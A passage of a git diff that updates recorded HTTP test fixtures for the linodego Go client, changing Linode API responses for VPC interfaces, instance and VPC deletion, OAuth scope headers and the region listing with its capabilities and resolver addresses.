"vpc_id": 26498, "subnet_id": 26749, "ipv4": {"vpc": "192.168.0.10", - "nat_1_1": "172.233.196.252"}, "ipv6": null, "ip_ranges": []}' + body: '{"id": 1598973, "purpose": "vpc", "primary": true, "active": false, "ipam_address": + null, "label": null, "vpc_id": 64443, "subnet_id": 63001, "ipv4": {"vpc": "192.168.0.10", + "nat_1_1": "172.233.207.234"}, "ipv6": null, "ip_ranges": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -608,7 +671,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 20:22:17 GMT + - Fri, 31 May 2024 18:19:16 GMT Pragma: - no-cache Strict-Transport-Security: @@ -623,7 +686,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -641,7 +707,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55633797 + url: https://api.linode.com/v4beta/linode/instances/59544180 method: DELETE response: body: '{}' @@ -667,7 +733,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 20:22:18 GMT + - Fri, 31 May 2024 18:19:16 GMT Pragma: - no-cache Strict-Transport-Security: @@ -682,7 +748,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -700,7 +769,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/vpcs/26498 + url: https://api.linode.com/v4beta/vpcs/64443 method: DELETE response: body: '{}' @@ -726,7 +795,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 20:22:18 GMT + - Fri, 31 May 2024 18:19:16 GMT Pragma: - no-cache Strict-Transport-Security: @@ -741,7 +810,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_ConfigInterfaces_AppendDelete.yaml b/test/integration/fixtures/TestInstance_ConfigInterfaces_AppendDelete.yaml index 04048f8aa..b652c0a2f 100644 --- a/test/integration/fixtures/TestInstance_ConfigInterfaces_AppendDelete.yaml +++ b/test/integration/fixtures/TestInstance_ConfigInterfaces_AppendDelete.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + 